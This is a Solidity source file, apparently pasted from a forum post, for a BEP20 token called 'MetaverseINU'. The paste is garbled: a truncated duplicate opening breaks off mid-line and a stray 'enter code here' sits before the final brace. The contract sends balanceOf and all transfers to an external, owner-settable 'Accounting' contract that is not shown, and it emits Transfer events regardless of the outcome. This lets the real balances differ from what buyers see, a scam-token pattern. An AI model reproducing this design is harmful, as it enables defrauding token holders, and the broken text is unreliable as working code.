// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.12; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a::Listen
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.12; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface BEP20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function getOwner() external view returns (address); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface Accounting { function doTransfer(address caller, address from, address to, uint amount) external returns (bool); function balanceOf(address who) external view returns (uint256); } contract MetaverseINU is BEP20 { using SafeMath for uint256; address public owner = msg.sender; string public name = "MetaverseINU"; string public symbol = "MINU"; uint8 public _decimals; uint public _totalSupply; mapping (address => mapping (address => uint256)) private allowed; address private accounting; constructor() { _decimals = 9; _totalSupply = 1000000 * 10 ** 9; emit Transfer(address(0), msg.sender, _totalSupply); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function totalSupply() public view returns (uint256) { return _totalSupply; } function decimals() public view returns (uint8) { return _decimals; } function getOwner() external view returns (address) { return owner; } function balanceOf(address who) view public returns (uint256) { return Accounting(accounting).balanceOf(who); } function allowance(address who, address spender) view public returns (uint256) { return allowed[who][spender]; } function setAccountingAddress(address accountingAddress) public { require(msg.sender == owner); accounting = accountingAddress; } function renounceOwnership() public { require(msg.sender == owner); emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transfer(address to, uint amount) public returns (bool success) { emit Transfer(msg.sender, to, amount); return Accounting(accounting).doTransfer(msg.sender, msg.sender, to, amount); } function transferFrom(address from, address to, uint amount) public returns (bool success) { allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); emit Transfer(from, to, amount); return Accounting(accounting).doTransfer(msg.sender, from, to, amount); } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } enter code here }
